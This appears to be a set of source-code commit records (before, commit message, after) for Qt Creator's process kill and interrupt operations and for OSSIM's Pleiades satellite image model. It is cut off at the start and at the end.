pid)) { if (!TerminateProcess(handle, UINT(-1))) appendMsgCannotKill(pid, Utils::winErrorMessage(GetLastError())); CloseHandle(handle); } else { appendMsgCannotKill(pid, tr("Cannot open process.")); } #else if (pid <= 0) appendMsgCannotKill(pid, tr("Invalid process id.")); else if (kill(pid, SIGKILL)) appendMsgCannotKill(pid, QString::fromLocal8Bit(strerror(errno))); #endif // Q_OS_WIN } void DesktopProcessSignalOperation::interruptProcessSilently( int pid, SpecialInterrupt specialInterrupt) { #ifdef Q_OS_WIN /* Windows 64 bit has a 32 bit subsystem (WOW64) which makes it possible to run a 32 bit application inside a 64 bit environment. When GDB is used DebugBreakProcess must be called from the same system (32/64 bit) running the inferior. If CDB is used we could in theory break wow64 processes, but the break is actually a wow64 breakpoint. CDB is configured to ignore these breakpoints, because they also appear on module loading. Therefore we need helper executables (win(32/64)interrupt.exe) on Windows 64 bit calling DebugBreakProcess from the correct system. DebugBreak matrix for windows Api = UseDebugBreakApi Win64 = UseWin64InterruptHelper Win32 = UseWin32InterruptHelper N/A = This configuration is not possible | Windows 32bit | Windows 64bit | QtCreator 32bit | QtCreator 32bit | QtCreator 64bit | Inferior 32bit | Inferior 32bit | Inferior 64bit | Inferior 32bit | Inferior 64bit ----------|-----------------|-----------------|-----------------|-----------------|---------------- CDB 32bit | Api | Api | N/A | Win32 | N/A 64bit | N/A | Win64 | Win64 | Api | Api ----------|-----------------|-----------------|-----------------|-----------------|---------------- GDB 32bit | Api | Api | N/A | Win32 | N/A 64bit | N/A | N/A | Win64 | N/A | Api ----------|-----------------|-----------------|-----------------|-----------------|---------------- */ HANDLE inferior = NULL; do { const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME; inferior = OpenProcess(rights, FALSE, pid); if (inferior == NULL) { appendMsgCannotInterrupt(pid, tr("Cannot open process: %1") + Utils::winErrorMessage(GetLastError())); break; } bool creatorIs64Bit = Utils::winIs64BitBinary(qApp->applicationFilePath()); if (!Utils::winIs64BitSystem() || specialInterrupt == NoSpecialInterrupt || specialInterrupt == Win64Interrupt && creatorIs64Bit || specialInterrupt == Win32Interrupt && !creatorIs64Bit) { if (!DebugBreakProcess(inferior)) { appendMsgCannotInterrupt(pid, tr("DebugBreakProcess failed: ") + Utils::winErrorMessage(GetLastError())); } } else if (specialInterrupt == Win32Interrupt || specialInterrupt == Win64Interrupt) { QString executable = QCoreApplication::applicationDirPath(); executable += specialInterrupt == Win32Interrupt ? QLatin1String("/win32interrupt.exe") : QLatin1String("/win64interrupt.exe"); if (!QFile::exists(executable)) { appendMsgCannotInterrupt(pid, tr( "%1 does not exist. If you have built QtCreator " "on your own ,checkout http://qt.gitorious.org/" "qt-creator/binary-artifacts."). arg(QDir::toNativeSeparators(executable))); } switch (QProcess::execute(executable, QStringList(QString::number(pid)))) { case -2: appendMsgCannotInterrupt(pid, tr( "Cannot start %1. Check src\\tools\\win64interrupt\\win64interrupt.c " "for more information.").arg(QDir::toNativeSeparators(executable))); break; case 0: break; default: appendMsgCannotInterrupt(pid, QDir::toNativeSeparators(executable) + tr(" could not break the process.")); break; } } } while (false); if (inferior != NULL) CloseHandle(inferior); #else Q_UNUSED(specialInterrupt) if (pid <= 0) appendMsgCannotInterrupt(pid, tr("Invalid process id.")); else if (kill(pid, SIGINT)) appendMsgCannotInterrupt(pid, QString::fromLocal8Bit(strerror(errno))); #endif // Q_OS_WIN } } // namespace ProjectExplorer <|endoftext|>
<commit_before>//******************************************************************* // Copyright (C) 2012 Centre National Etudes Spatiales // // This library is free software; you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public // License as published by the Free Software Foundation; either // version 3 of the License, or (at your option) any later version. // // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with this library; if not, write to the Free Software // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA // // Author : Mickael Savinaud ([email protected]) // // Description: // // Contains definition of class ossimPleiadesModel // //***************************************************************************** #include "ossimPleiadesModel.h" #include <cmath> #include <cstdio> #include <ossimPleiadesModel.h> #include <ossimPleiadesDimapSupportData.h> #include <ossimPluginCommon.h> #include <ossim/base/ossimCommon.h> #include <ossim/base/ossimFilename.h> #include <ossim/base/ossimKeywordNames.h> #include <ossim/base/ossimNotify.h> #include <ossim/base/ossimRefPtr.h> #include <ossim/base/ossimString.h> #include <ossim/base/ossimTrace.h> #include <ossim/base/ossimXmlDocument.h> #include <ossim/base/ossimXmlNode.h> #include <ossim/support_data/ossimSupportFilesList.h> namespace ossimplugins { // Define Trace flags for use within this file: static ossimTrace traceExec ("ossimPleiadesModel:exec"); static ossimTrace traceDebug ("ossimPleiadesModel:debug"); RTTI_DEF1(ossimPleiadesModel, "ossimPleiadesModel", ossimRpcModel); //************************************************************************************************* // Constructor //************************************************************************************************* ossimPleiadesModel::ossimPleiadesModel() :ossimRpcModel (), theSupportData (0) { for (unsigned int i = 0; i < 20; i++) { theLineDenCoef[i] = 0.0; theLineNumCoef[i] = 0.0; theSampNumCoef[i] = 0.0; theSampDenCoef[i] = 0.0; } } //************************************************************************************************* // Constructor //************************************************************************************************* ossimPleiadesModel::ossimPleiadesModel(const ossimPleiadesModel& rhs) :ossimRpcModel (rhs), theSupportData (0) { } //************************************************************************************************* // Destructor //************************************************************************************************* ossimPleiadesModel::~ossimPleiadesModel() { if (traceExec()) ossimNotify(ossimNotifyLevel_DEBUG) << "DEBUG DESTRUCTOR: ~ossimPleiadesModel(): entering..." << std::endl; theSupportData = 0; if (traceExec()) ossimNotify(ossimNotifyLevel_DEBUG) << "DEBUG DESTRUCTOR: ~ossimPleiadesModel(): returning..." << std::endl; } //************************************************************************************************* // Infamous DUP //************************************************************************************************* ossimObject* ossimPleiadesModel::dup() const { return new ossimPleiadesModel(*this); } //************************************************************************************************* // Print //************************************************************************************************* std::ostream& ossimPleiadesModel::print(std::ostream& out) const { // Capture stream flags since we are going to mess with them. std::ios_base::fmtflags f = out.flags(); out << "\nDump of ossimPleiadesModel at address " << (hex) << this << (dec) << "\n------------------------------------------------" << "\n theImageID = " << theImageID << "\n theImageSize = " << theImageSize << "\n theRefGndPt = " << theRefGndPt << "\n theRefImgPt = " << theRefImgPt << "\n theProcessingLevel = " << theSupportData->getProcessingLevel() << "\n------------------------------------------------" << "\n " << endl; // Set the flags back. out.flags(f); if (theSupportData->getProcessingLevel() == "SENSOR") return ossimRpcModel::print(out); else return out; } //************************************************************************************************* // Save State //************************************************************************************************* bool ossimPleiadesModel::saveState(ossimKeywordlist& kwl, const char* prefix) const { if(theSupportData.valid()) { ossimString supportPrefix = ossimString(prefix) + "support_data."; theSupportData->saveState(kwl, supportPrefix); } // If only it is a sensor product we save parameters from RPC model, its avoid to // propagate a empty RPC model if (theSupportData->getProcessingLevel() == "SENSOR") { ossimRpcModel::saveState(kwl, prefix); return true; } else { kwl.add(prefix, "sensor", theSensorID, true); return true; } } //************************************************************************************************* // Load State //************************************************************************************************* bool ossimPleiadesModel::loadState(const ossimKeywordlist& kwl, const char* prefix) { if(!theSupportData) { theSupportData = new ossimPleiadesDimapSupportData; } ossimString supportPrefix = ossimString(prefix) + "support_data."; theSupportData->loadState(kwl, supportPrefix); // If only it is a sensor product we load parameters from RPC model only, its avoid to // add a empty RPC model if (theSupportData->getProcessingLevel() == "SENSOR") { ossimRpcModel::loadState(kwl, prefix); return true; } else { return true; } } bool ossimPleiadesModel::open(const ossimFilename& file) { static const char MODULE[] = "ossimPleiadesModel::open"; //traceDebug.setTraceFlag(true); if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << " entered...\n"; } // Make the gsd nan so it gets computed. theGSD.makeNan(); bool result = false; // Filename used. ossimFilename DIMxmlFile; ossimFilename RPCxmlFile; // Generate metadata and rpc filename if ( (file.ext().downcase() != "jp2" && file.ext().downcase() != "tif") || !file.exists()) { //not a valid file return false; } else { // DIMAPv1 ossimFilename DIMv1xmlFileTmp = file; DIMv1xmlFileTmp.setFile("PHRDIMAP"); DIMv1xmlFileTmp.setExtension("XML"); if (DIMv1xmlFileTmp.exists()) { DIMxmlFile = DIMv1xmlFileTmp; RPCxmlFile = DIMv1xmlFileTmp; } else { // DIMAPv2 DIMxmlFile = file.path(); RPCxmlFile = file.path(); ossimFilename DIMxmlFileTmp = file.file(); ossimFilename RPCxmlFileTmp; DIMxmlFileTmp = DIMxmlFileTmp.file().replaceStrThatMatch("^IMG_", "DIM_"); DIMxmlFileTmp = DIMxmlFileTmp.replaceStrThatMatch("_R[0-9]+C[0-9]+\\.(JP2|TIF)$", ".XML"); // Check if it is an XML extension if( DIMxmlFileTmp.ext() != "xml") return false; RPCxmlFileTmp = DIMxmlFileTmp.file().replaceStrThatMatch("^DIM_", "RPC_"); DIMxmlFile = DIMxmlFile.dirCat(DIMxmlFileTmp); RPCxmlFile = RPCxmlFile.dirCat(RPCxmlFileTmp); } if (!DIMxmlFile.exists()) { if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << "PHR main DIMAP file " << DIMxmlFile << " doesn't exist ...\n"; } return false; } } if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << "Metadata xml file: " << DIMxmlFile << "\n"; ossimNotify(ossimNotifyLevel_DEBUG) << "RPC xml file: " << RPCxmlFile << "\n"; } ossimString processingLevel; // Parse the metadata xml file if ( !theSupportData.valid() ) theSupportData = new ossimPleiadesDimapSupportData(); if(!theSupportData->parseXmlFile(DIMxmlFile)) { theSupportData = 0; // ossimRefPtr if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << "ossimPleiadesModel::open DEBUG:" << "\nCould not open correctly DIMAP file" << std::endl; } return false; } theSensorID = theSupportData->getSensorID(); theImageID = theSupportData->getImageID(); // Get the processing level (ORTHO or SENSOR or perhaps MOSAIC ?) processingLevel = theSupportData->getProcessingLevel(); // Parse the RPC xml file if necessary if (RPCxmlFile.exists() && processingLevel == "SENSOR") { if (!theSupportData->parseXmlFile(RPCxmlFile)) { theSupportData = 0; // ossimRefPtr ossimNotify(ossimNotifyLevel_WARN) << "ossimPleiadesModel::open WARNING:" << "\nCould not open correctly RPC file" << std::endl; return false; } thePolyType = B; for (unsigned int i = 0 ; i < 20; i++ ) { theLineNumCoef[i] = theSupportData->getLineNumCoeff()[i]; theLineDenCoef[i] = theSupportData->getLineDenCoeff()[i]; theSampNumCoef[i] = theSupportData->getSampNumCoeff()[i]; theSampDenCoef[i] = theSupportData->getSampDenCoeff()[i]; } theLineScale = theSupportData->getLineScale(); theSampScale = theSupportData->getSampScale(); theLatScale = theSupportData->getLatScale(); theLonScale = theSupportData->getLonScale(); theHgtScale = theSupportData->getHeightScale(); theLineOffset = theSupportData->getLineOffset(); theSampOffset = theSupportData->getSampOffset(); theLatOffset = theSupportData->getLatOffset(); theLonOffset = theSupportData->getLonOffset(); theHgtOffset = theSupportData->getHeightOffset(); } // TODO MSD Check if this part is necessary _productXmlFile = DIMxmlFile; ossimSupportFilesList::instance()->add(_productXmlFile); // TODO MSD WARNING File with multi tiles are not well managed theSupportData->getImageRect(theImageClipRect); theSupportData->getImageSize(theImageSize); finishConstruction(); clearErrorStatus(); result = true; if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << " exit status = " << (result ? "true" : "false\n") << std::endl; } /*std::cout << "---------------------------" << std::endl; print(std::cout); std::cout << "---------------------------" << std::endl;*/ return result; } //************************************************************************************************* //! Collects common code among all parsers //************************************************************************************************* void ossimPleiadesModel::finishConstruction() { theImageSize.line = theImageClipRect.height(); theImageSize.samp = theImageClipRect.width(); theRefImgPt.line = theImageClipRect.midPoint().y; theRefImgPt.samp = theImageClipRect.midPoint().x; theRefGndPt.lat = theLatOffset; theRefGndPt.lon = theLonOffset; theRefGndPt.hgt = theHgtOffset; //--- // NOTE: We must call "updateModel()" to set parameter used by base // ossimRpcModel prior to calling lineSampleHeightToWorld or all // the world points will be same. //--- updateModel(); ossimGpt v0, v1, v2, v3; lineSampleHeightToWorld(theImageClipRect.ul(), theHgtOffset, v0); lineSampleHeightToWorld(theImageClipRect.ur(), theHgtOffset, v1); lineSampleHeightToWorld(theImageClipRect.lr(), theHgtOffset, v2); lineSampleHeightToWorld(theImageClipRect.ll(), theHgtOffset, v3); theBoundGndPolygon = ossimPolygon (ossimDpt(v0), ossimDpt(v1), ossimDpt(v2), ossimDpt(v3)); // Set the ground reference point using the model. lineSampleHeightToWorld(theRefImgPt, theHgtOffset, theRefGndPt); if( theGSD.hasNans() ) { try { // This will set theGSD and theMeanGSD. Method throws ossimException. computeGsd(); } catch (const ossimException& e) { ossimNotify(ossimNotifyLevel_WARN) << "ossimPleiadesModel::finishConstruction -- caught exception:\n" << e.what() << std::endl; } } } } <commit_msg>BUG: take care of the case in the test about extension<commit_after>//******************************************************************* // Copyright (C) 2012 Centre National Etudes Spatiales // // This library is free software; you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public // License as published by the Free Software Foundation; either // version 3 of the License, or (at your option) any later version. // // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with this library; if not, write to the Free Software // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA // // Author : Mickael Savinaud ([email protected]) // // Description: // // Contains definition of class ossimPleiadesModel // //***************************************************************************** #include "ossimPleiadesModel.h" #include <cmath> #include <cstdio> #include <ossimPleiadesModel.h> #include <ossimPleiadesDimapSupportData.h> #include <ossimPluginCommon.h> #include <ossim/base/ossimCommon.h> #include <ossim/base/ossimFilename.h> #include <ossim/base/ossimKeywordNames.h> #include <ossim/base/ossimNotify.h> #include <ossim/base/ossimRefPtr.h> #include <ossim/base/ossimString.h> #include <ossim/base/ossimTrace.h> #include <ossim/base/ossimXmlDocument.h> #include <ossim/base/ossimXmlNode.h> #include <ossim/support_data/ossimSupportFilesList.h> namespace ossimplugins { // Define Trace flags for use within this file: static ossimTrace traceExec ("ossimPleiadesModel:exec"); static ossimTrace traceDebug ("ossimPleiadesModel:debug"); RTTI_DEF1(ossimPleiadesModel, "ossimPleiadesModel", ossimRpcModel); //************************************************************************************************* // Constructor //************************************************************************************************* ossimPleiadesModel::ossimPleiadesModel() :ossimRpcModel (), theSupportData (0) { for (unsigned int i = 0; i < 20; i++) { theLineDenCoef[i] = 0.0; theLineNumCoef[i] = 0.0; theSampNumCoef[i] = 0.0; theSampDenCoef[i] = 0.0; } } //************************************************************************************************* // Constructor //************************************************************************************************* ossimPleiadesModel::ossimPleiadesModel(const ossimPleiadesModel& rhs) :ossimRpcModel (rhs), theSupportData (0) { } //************************************************************************************************* // Destructor //************************************************************************************************* ossimPleiadesModel::~ossimPleiadesModel() { if (traceExec()) ossimNotify(ossimNotifyLevel_DEBUG) << "DEBUG DESTRUCTOR: ~ossimPleiadesModel(): entering..." << std::endl; theSupportData = 0; if (traceExec()) ossimNotify(ossimNotifyLevel_DEBUG) << "DEBUG DESTRUCTOR: ~ossimPleiadesModel(): returning..." << std::endl; } //************************************************************************************************* // Infamous DUP //************************************************************************************************* ossimObject* ossimPleiadesModel::dup() const { return new ossimPleiadesModel(*this); } //************************************************************************************************* // Print //************************************************************************************************* std::ostream& ossimPleiadesModel::print(std::ostream& out) const { // Capture stream flags since we are going to mess with them. std::ios_base::fmtflags f = out.flags(); out << "\nDump of ossimPleiadesModel at address " << (hex) << this << (dec) << "\n------------------------------------------------" << "\n theImageID = " << theImageID << "\n theImageSize = " << theImageSize << "\n theRefGndPt = " << theRefGndPt << "\n theRefImgPt = " << theRefImgPt << "\n theProcessingLevel = " << theSupportData->getProcessingLevel() << "\n------------------------------------------------" << "\n " << endl; // Set the flags back. out.flags(f); if (theSupportData->getProcessingLevel() == "SENSOR") return ossimRpcModel::print(out); else return out; } //************************************************************************************************* // Save State //************************************************************************************************* bool ossimPleiadesModel::saveState(ossimKeywordlist& kwl, const char* prefix) const { if(theSupportData.valid()) { ossimString supportPrefix = ossimString(prefix) + "support_data."; theSupportData->saveState(kwl, supportPrefix); } // If only it is a sensor product we save parameters from RPC model, its avoid to // propagate a empty RPC model if (theSupportData->getProcessingLevel() == "SENSOR") { ossimRpcModel::saveState(kwl, prefix); return true; } else { kwl.add(prefix, "sensor", theSensorID, true); return true; } } //************************************************************************************************* // Load State //************************************************************************************************* bool ossimPleiadesModel::loadState(const ossimKeywordlist& kwl, const char* prefix) { if(!theSupportData) { theSupportData = new ossimPleiadesDimapSupportData; } ossimString supportPrefix = ossimString(prefix) + "support_data."; theSupportData->loadState(kwl, supportPrefix); // If only it is a sensor product we load parameters from RPC model only, its avoid to // add a empty RPC model if (theSupportData->getProcessingLevel() == "SENSOR") { ossimRpcModel::loadState(kwl, prefix); return true; } else { return true; } } bool ossimPleiadesModel::open(const ossimFilename& file) { static const char MODULE[] = "ossimPleiadesModel::open"; //traceDebug.setTraceFlag(true); if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << " entered...\n"; } // Make the gsd nan so it gets computed. theGSD.makeNan(); bool result = false; // Filename used. ossimFilename DIMxmlFile; ossimFilename RPCxmlFile; // Generate metadata and rpc filename if ( (file.ext().downcase() != "jp2" && file.ext().downcase() != "tif") || !file.exists()) { //not a valid file return false; } else { // DIMAPv1 ossimFilename DIMv1xmlFileTmp = file; DIMv1xmlFileTmp.setFile("PHRDIMAP"); DIMv1xmlFileTmp.setExtension("XML"); if (DIMv1xmlFileTmp.exists()) { DIMxmlFile = DIMv1xmlFileTmp; RPCxmlFile = DIMv1xmlFileTmp; } else { // DIMAPv2 DIMxmlFile = file.path(); RPCxmlFile = file.path(); ossimFilename DIMxmlFileTmp = file.file(); ossimFilename RPCxmlFileTmp; DIMxmlFileTmp = DIMxmlFileTmp.file().replaceStrThatMatch("^IMG_", "DIM_"); DIMxmlFileTmp = DIMxmlFileTmp.replaceStrThatMatch("_R[0-9]+C[0-9]+\\.(JP2|TIF)$", ".XML"); // Check if it is an XML extension if( DIMxmlFileTmp.ext() != "xml") return false; RPCxmlFileTmp = DIMxmlFileTmp.file().replaceStrThatMatch("^DIM_", "RPC_"); if( DIMxmlFileTmp.ext() != "XML") return false; DIMxmlFile = DIMxmlFile.dirCat(DIMxmlFileTmp); RPCxmlFile = RPCxmlFile.dirCat(RPCxmlFileTmp); } if (!DIMxmlFile.exists()) { if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << "PHR main DIMAP file " << DIMxmlFile << " doesn't exist ...\n"; } return false; } } if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << "Metadata xml file: " << DIMxmlFile << "\n"; ossimNotify(ossimNotifyLevel_DEBUG) << "RPC xml file: " << RPCxmlFile << "\n"; } ossimString processingLevel; // Parse the metadata xml file if ( !theSupportData.valid() ) theSupportData = new ossimPleiadesDimapSupportData(); if(!theSupportData->parseXmlFile(DIMxmlFile)) { theSupportData = 0; // ossimRefPtr if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << "ossimPleiadesModel::open DEBUG:" << "\nCould not open correctly DIMAP file" << std::endl; } return false; } theSensorID = theSupportData->getSensorID(); theImageID = theSupportData->getImageID(); // Get the processing level (ORTHO or SENSOR or perhaps MOSAIC ?) processingLevel = theSupportData->getProcessingLevel(); // Parse the RPC xml file if necessary if (RPCxmlFile.exists() && processingLevel == "SENSOR") { if (!theSupportData->parseXmlFile(RPCxmlFile)) { theSupportData = 0; // ossimRefPtr ossimNotify(ossimNotifyLevel_WARN) << "ossimPleiadesModel::open WARNING:" << "\nCould not open correctly RPC file" << std::endl; return false; } thePolyType = B; for (unsigned int i = 0 ; i < 20; i++ ) { theLineNumCoef[i] = theSupportData->getLineNumCoeff()[i]; theLineDenCoef[i] = theSupportData->getLineDenCoeff()[i]; theSampNumCoef[i] = theSupportData->getSampNumCoeff()[i]; theSampDenCoef[i] = theSupportData->getSampDenCoeff()[i]; } theLineScale = theSupportData->getLineScale(); theSampScale = theSupportData->getSampScale(); theLatScale = theSupportData->getLatScale(); theLonScale = theSupportData->getLonScale(); theHgtScale = theSupportData->getHeightScale(); theLineOffset = theSupportData->getLineOffset(); theSampOffset = theSupportData->getSampOffset(); theLatOffset = theSupportData->getLatOffset(); theLonOffset = theSupportData->getLonOffset(); theHgtOffset = theSupportData->getHeightOffset(); } // TODO MSD Check if this part is necessary _productXmlFile = DIMxmlFile; ossimSupportFilesList::instance()->add(_productXmlFile); // TODO MSD WARNING File with multi tiles are not well managed theSupportData->getImageRect(theImageClipRect); theSupportData->getImageSize(theImageSize); finishConstruction(); clearErrorStatus(); result = true; if (traceDebug()) { ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << " exit status = " << (result ? "true" : "false\n") << std::endl; } /*std::cout << "---------------------------" << std::endl; print(std::cout); std::cout << "---------------------------" << std::endl;*/ return result; } //************************************************************************************************* //! Collects common code among all parsers //************************************************************************************************* void ossimPleiadesModel::finishConstruction() { theImageSize.line = theImageClipRect.height(); theImageSize.samp = theImageClipRect.width(); theRefImgPt.line = theImageClipRect.midPoint().y; theRefImgPt.samp = theImageClipRect.midPoint().x; theRefGndPt.lat = theLatOffset; theRefGndPt.lon = theLonOffset; theRefGndPt.hgt = theHgtOffset; //--- // NOTE: We must call "updateModel()" to set parameter used by base // ossimRpcModel prior to calling lineSampleHeightToWorld or all // the world points will be same. //--- updateModel(); ossimGpt v0, v1, v2, v3; lineSampleHeightToWorld(theImageClipRect.ul(), theHgtOffset, v0); lineSampleHeightToWorld(theImageClipRect.ur(), theHgtOffset, v1); lineSampleHeightToWorld(theImageClipRect.lr(), theHgtOffset, v2); lineSampleHeightToWorld(theImageClipRect.ll(), theHgtOffset, v3); theBoundGndPolygon = ossimPolygon (ossimDpt(v0), ossimDpt(v1), ossimDpt(v2), ossimDpt(v3)); // Set the ground reference point using the model. lineSampleHeightToWorld(theRefImgPt, theHgtOffset, theRefGndPt); if( theGSD.hasNans() ) { try { // This will set theGSD and theMeanGSD. Method throws ossimException. computeGsd(); } catch (const ossimException& e) { ossimNotify(ossimNotifyLevel_WARN) << "ossimPleiadesModel::finishConstruction -- caught exception:\n" << e.what() << std::endl; } } } } <|endoftext|>
<commit_before>/**************************************************************************** ** ** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies). ** Contact: http://www.qt-project.org/legal ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Digia. For licensing terms and ** conditions see http://qt.digia.com/licensing. For further information ** use the contact form at http://qt.digia.com/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Digia gives you certain additional ** rights. These rights are described in the Digia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ****************************************************************************/ #include "desktopprocesssignaloperation.h" #include "localprocesslist.h" #include <utils/winutils.h> #include <QCoreApplication> #include <QDir> #ifdef Q_OS_WIN #define _WIN32_WINNT 0x0502 #include <windows.h> #ifndef PROCESS_SUSPEND_RESUME #define PROCESS_SUSPEND_RESUME 0x0800 #endif // PROCESS_SUSPEND_RESUME #else // Q_OS_WIN #include <errno.h> #include <signal.h> #endif // else Q_OS_WIN namespace ProjectExplorer { void DesktopProcessSignalOperation::killProcess(int pid) { killProcessSilently(pid); emit finished(m_errorMessage); } void DesktopProcessSignalOperation::killProcess(const QString &filePath) { m_errorMessage.clear(); foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) { if (process.cmdLine == filePath) killProcessSilently(process.pid); } emit finished(m_errorMessage); } void DesktopProcessSignalOperation::interruptProcess(int pid) { m_errorMessage.clear(); interruptProcessSilently(pid); emit finished(m_errorMessage); } void DesktopProcessSignalOperation::interruptProcess(const QString &filePath) { m_errorMessage.clear(); foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) { if (process.cmdLine == filePath) interruptProcessSilently(process.pid); } emit finished(m_errorMessage); } void DesktopProcessSignalOperation::appendMsgCannotKill(int pid, const QString &why) { if (!m_errorMessage.isEmpty()) m_errorMessage += QChar::fromLatin1('\n'); m_errorMessage += tr("Cannot kill process with pid %1: %3").arg(pid).arg(why); m_errorMessage += QLatin1Char(' '); } void DesktopProcessSignalOperation::appendMsgCannotInterrupt(int pid, const QString &why) { if (!m_errorMessage.isEmpty()) m_errorMessage += QChar::fromLatin1('\n'); m_errorMessage += tr("Cannot interrupt process with pid %1: %3").arg(pid).arg(why); m_errorMessage += QLatin1Char(' '); } void DesktopProcessSignalOperation::killProcessSilently(int pid) { #ifdef Q_OS_WIN const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME; if (const HANDLE handle = OpenProcess(rights, FALSE, pid)) { if (!TerminateProcess(handle, UINT(-1))) appendMsgCannotKill(pid, Utils::winErrorMessage(GetLastError())); CloseHandle(handle); } else { appendMsgCannotKill(pid, tr("Cannot open process.")); } #else if (pid <= 0) appendMsgCannotKill(pid, tr("Invalid process id.")); else if (kill(pid, SIGKILL)) appendMsgCannotKill(pid, QString::fromLocal8Bit(strerror(errno))); #endif // Q_OS_WIN } void DesktopProcessSignalOperation::interruptProcessSilently(int pid) { #ifdef Q_OS_WIN /* Windows 64 bit has a 32 bit subsystem (WOW64) which makes it possible to run a 32 bit application inside a 64 bit environment. When GDB is used DebugBreakProcess must be called from the same system (32/64 bit) running the inferior. If CDB is used we could in theory break wow64 processes, but the break is actually a wow64 breakpoint. CDB is configured to ignore these breakpoints, because they also appear on module loading. Therefore we need helper executables (win(32/64)interrupt.exe) on Windows 64 bit calling DebugBreakProcess from the correct system. DebugBreak matrix for windows Api = UseDebugBreakApi Win64 = UseWin64InterruptHelper Win32 = UseWin32InterruptHelper N/A = This configuration is not possible | Windows 32bit | Windows 64bit | QtCreator 32bit | QtCreator 32bit | QtCreator 64bit | Inferior 32bit | Inferior 32bit | Inferior 64bit | Inferior 32bit | Inferior 64bit ----------|-----------------|-----------------|-----------------|-----------------|---------------- CDB 32bit | Api | Api | N/A | Win32 | N/A 64bit | N/A | Win64 | Win64 | Api | Api ----------|-----------------|-----------------|-----------------|-----------------|---------------- GDB 32bit | Api | Api | N/A | Win32 | N/A 64bit | N/A | N/A | Win64 | N/A | Api ----------|-----------------|-----------------|-----------------|-----------------|---------------- */ HANDLE inferior = NULL; do { const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME; inferior = OpenProcess(rights, FALSE, pid); if (inferior == NULL) { appendMsgCannotInterrupt(pid, tr("Cannot open process: %1") + Utils::winErrorMessage(GetLastError())); break; } bool creatorIs64Bit = Utils::winIs64BitBinary(qApp->applicationFilePath()); if (!Utils::winIs64BitSystem() || m_specialInterrupt == NoSpecialInterrupt || m_specialInterrupt == Win64Interrupt && creatorIs64Bit || m_specialInterrupt == Win32Interrupt && !creatorIs64Bit) { if (!DebugBreakProcess(inferior)) { appendMsgCannotInterrupt(pid, tr("DebugBreakProcess failed:") + QLatin1Char(' ') + Utils::winErrorMessage(GetLastError())); } } else if (m_specialInterrupt == Win32Interrupt || m_specialInterrupt == Win64Interrupt) { QString executable = QCoreApplication::applicationDirPath(); executable += m_specialInterrupt == Win32Interrupt ? QLatin1String("/win32interrupt.exe") : QLatin1String("/win64interrupt.exe"); if (!QFile::exists(executable)) { appendMsgCannotInterrupt(pid, tr( "%1 does not exist. If you built Qt Creator " "yourself, check out http://qt.gitorious.org/" "qt-creator/binary-artifacts."). arg(QDir::toNativeSeparators(executable))); } switch (QProcess::execute(executable, QStringList(QString::number(pid)))) { case -2: appendMsgCannotInterrupt(pid, tr( "Cannot start %1. Check src\\tools\\win64interrupt\\win64interrupt.c " "for more information.").arg(QDir::toNativeSeparators(executable))); break; case 0: break; default: appendMsgCannotInterrupt(pid, QDir::toNativeSeparators(executable) + QLatin1Char(' ') + tr("could not break the process.")); break; } } } while (false); if (inferior != NULL) CloseHandle(inferior); #else if (pid <= 0) appendMsgCannotInterrupt(pid, tr("Invalid process id.")); else if (kill(pid, SIGINT)) appendMsgCannotInterrupt(pid, QString::fromLocal8Bit(strerror(errno))); #endif // Q_OS_WIN } } // namespace ProjectExplorer <commit_msg>ProjectExplorer: Fix message placeholders.<commit_after>/**************************************************************************** ** ** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies). ** Contact: http://www.qt-project.org/legal ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in 